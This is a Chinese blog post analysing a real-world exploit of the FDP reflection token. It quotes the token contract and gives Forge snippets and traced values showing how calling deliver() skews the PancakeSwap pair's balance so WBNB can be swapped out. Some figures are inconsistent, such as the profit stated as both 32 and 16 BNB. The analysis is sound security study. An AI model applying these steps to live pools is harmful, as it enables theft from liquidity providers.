FDP代币通缩类型漏洞分析

说明

最近几天看到了几个代币通缩类型的漏洞,之前没有太关注。找到了一个最早的发现的代币通缩的漏洞来分析。

基本信息

漏洞函数

balanceOf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
uint256 private constant MAX = ~uint256(0);

uint256 private _tTotal = 1000000000000000 * 10**8;

uint256 private _rTotal = (MAX - (MAX % _tTotal));


function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}


function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}

function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}


function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
// 资金金额需要结合rate来计算
return tokenFromReflection(_rOwned[account]);
}

通过追溯balanceOf的实现,用户余额的计算公式是tokenFromReflection(_rOwned[account。通过最终的函数变形,计算用户余额的计算公式变为:

1
(_rOwned[account]).mul(_tTotal).div(_rTotal)

最终用户的余额与合约中的_rTotal_tTotal相关。如果可以操作这两者的值或者是修改两者的比值,最终就会影响用户的余额。

但是用户实际的数量是保存在_rOwned map中的。

deliver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}


function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}

function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}

通过跟踪代码调用分析:

  1. uint256 rAmount = tAmount.mul(currentRate)
  2. _rTotal = _rTotal.sub(rAmount) 等价于 _rTotal = _rTotal.sub(tAmount.mul(currentRate))

可以发现:

当有用户调用deliver()函数时,_rTotal减小,最终通过balanceOf()计算用户余额时就会变大。

漏洞分析

由于其中涉及到私有变量,需要通过tenderly动态调试的方式获取内部信息。

闪电贷获得WBNB

为了简化分析步骤,直接利用Forge中deal获得WBNB,省略闪电贷过程。

1
2
// 直接跳过攻击合约中的闪电贷过程
deal(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c), address(this), 1363426920555815103015);

获得数量为1363426920555815103015 的WBNB。

兑换为FDP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function WBNBtoFDP()  internal  {
uint256 amountIn = WBNB.balanceOf(address(FDP_WBNB));
uint256 amountOutMin = 0;
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(FDP);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amountIn,
amountOutMin,
path,
address(this),
type(uint).max
);
}

计算此时的WBNB-FDP pair对和当前攻击合约中欧你个的FDP数量(通过balanceOf计算)是:

  • WBNB-FDP pair:50060579699495119166869
  • Attack Contract:49935372988746381368951

通过前面的分析知道,balanceOf_rTotal_tTotal_rOwned[account]有关。为了更加细致地分析其中的计算过程,通过tenderly查看

查看FDP余额

经过swap将BNB兑换为FDP之后,查看当前的攻击合约中的FDP余额。

1
FDP.balanceOf(address(this));  

得到的结果是4993537298874638136895112

通过tenderly的调试

_getCurrentSupply

  1. _rTotal 是113325717736561360461048923028002855415995333992262419986800000000000000000000, _tTotal是97870000000000000000000
  2. 最终计算得到的rSupply是33107103357356580186429354115237063258139898376552279287898839819994135860760,tSupply是 28591852496506461370259

_getRate

通过rSupply.div(tSupply),计算得到当前的rate比例。即:

1
2
3
uint256 rSupply = 33107103357356580186429354115237063258139898376552279287898839819994135860760;
uint256 tSupply = 28591852496506461370259;
uint256 rate = rSupply.div(tSupply);

最终得到的结果是:1157920892373161954235709850086879078532699846656405640

计算得到的结果和tenderly上一致。

balanceOf

通过rAmount.div(currentRate) 即:

1
2
3
uint256 rAmount = 57821211652115897246477601987568750522221190390356458260792248141716357283640;
uint256 rate = 1157920892373161954235709850086879078532699846656405640;
uint256 result = rAmount.div(rate);

计算得到的结果就是:49935372988746381368951

deliver

1
FDP.deliver(28463162603585437380302);  

28463162603585437380302是 攻击者执行的数量。根据deliver的代码,_rTotal_rOwned[sender]的值都会减小。

1
2
3
4
5
6
7
8
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}

tAmount to rAmount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}

function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}

根据公式,得到rAmount = tAmount.mul(currentRate)

当前情况下:

  • tAmount:28463162603585437380302(前端传入)
  • currentRate: 1157920892373161954235709850086879078532699846656405640(之前计算得到)

计算公式是:

1
2
3
uint256 tAmount = 28463162603585437380302;
uint256 currentRate = 1157920892373161954235709850086879078532699846656405640;
uint256 rAmount = tAmount.mul(currentRate);

最终得到的结果是:32958090641706061430492152078451721676329282022813675127116084151789057703280

_rOwned

1
_rOwned[sender] = _rOwned[sender].sub(rAmount);

_rOwned[sender]表示攻击合约中中的实际代币数量,是

rAmount就是前面计算出来的结果,即 32958090641706061430492152078451721676329282022813675127116084151789057703280

更新之后得到的结果是:

1
2
3
uint256 rOwned = 57821211652115897246477601987568750522221190390356458260792248141716357283640;
uint256 rAmount = 32958090641706061430492152078451721676329282022813675127116084151789057703280;
uint256 newrOwned = rOwned.sub(rAmount);

最终得到的结果是:24863121010409835815985449909117028845891908367542783133676163989927299580360

_rTotal

1
_rTotal = _rTotal.sub(rAmount)

_rTotal之前计算的结果是:113325717736561360461048923028002855415995333992262419986800000000000000000000

更新之后的计算结果是:

1
2
3
uint256 rTotal = 113325717736561360461048923028002855415995333992262419986800000000000000000000;
uint256 rAmount = 32958090641706061430492152078451721676329282022813675127116084151789057703280;
uint256 newrTotal = rTotal.sub(rAmount);

最终的结果是80367627094855299030556770949551133739666051969448744859683915848210942296720

所以可以看到,经过调用deliver方法之后,_rTotal_rOwned[attacker]都发生了变化。

  • rTotal:80367627094855299030556770949551133739666051969448744859683915848210942296720
  • _rOwned[attacker]:24863121010409835815985449909117028845891908367542783133676163989927299580360

由于_rTotal发生了变化,最终也影响了Pair合约中的FDP的数量。

此时Pair合约中的BNB的数量没有发生变化,相当于向Pair合约中多注入了FDP代币。

为了保证公式
$$
X\times Y = (X + \Delta X)(Y + \Delta Y)
$$

因为其中FDP代币增加了,所以BNB代币就需要减少,通过调用Swap方法就可以提取应该减少的WBNB代币。

计算方法

我们最终需要计算的就是应该提取多少的BNB 数量。

首先分析的计算方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings

uint balance0;
uint balance1;
address _token0 = token0;
address _token1 = token1;

if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens

balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));

uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;

uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25)));
uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));

require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');

}

其中关键函数就是:

1
2
3
4
uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25))); 
uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));

require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');

FDP_WBNB 中,Token0对应的是FDP代币,Token1对应的是WBNB代币。所以balance0 对应的FDP代币的数量,balance1对应的是WBNB代币的数量。

通过deliver()方法之后,FDP.balaceOf(FDP_WBNB)已经变为了11122277578830245110611430 ,通过Pair.getReserve()得到的还是没有更新之前的数据。对应的数据关系是:

  • balance0:11122277578830245110611430
  • reserve0:50060579699495119166869
  • reserve1:32653403218925679012

amount0In

表示的是FDP代币增加的数量,就等于balance0 - reserve0,即

1
2
3
uint256 _reserve0 = 50060579699495119166869;
uint256 balance0 = 11122277578830245110611430;
amount0In = balance0.sub(_reserve0);

得到结果是11072216999130749991444561

所以,最终就可以计算得到balance1的数量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uint256 _reserve0 = 50060579699495119166869;
uint256 _reserve1 = 32653403218925679012;
uint256 balance0 = 11122277578830245110611430;
uint256 amount0In = 11072216999130749991444561;
uint256 amount1In = 0;
uint256 balance1Adjusted;
uint256 balance1;

uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25))); //


balance1Adjusted = uint(_reserve0).mul(_reserve1).mul(10000**2).div(balance0Adjusted); // 1473373290573472803115

balance1 = balance1Adjusted.add(amount1In.mul(25)).div(10000); // 147337329057347280

最终计算得到balance1的数量是147337329057347280

既然知道了balance1_reserve1,就可以计算得到amount1Out.

1
2
3
uint256 _reserve1 = 32653403218925679012;
uint256 balance1 = 147337329057347280;
amount1Out = _reserve1.sub(balance1); // 32506065889868331732

amount1Out就是可以最终获利的金额,即32BNB。

最终计算得到也和实际攻击者实施攻击的到的数量是吻合的。

对于其中的具体的计算细节,也可以参考tenderly。

集合两者,可以更方便地大家理解其中的计算过程。

获利

最终攻击者获利16BNB。

总结

整体来说,这个漏洞其实原理比较简单,是一个简单的代币通缩的漏洞,但是其中的计算过程是比较复杂的,需要攻击者对Pancake的原理和Token的原理非常的了解,对于Pancake中的计算过程也要非常的清楚。

参考

https://twitter.com/BeosinAlert/status/1622806011269771266

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/02/25/FDP-vuln/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow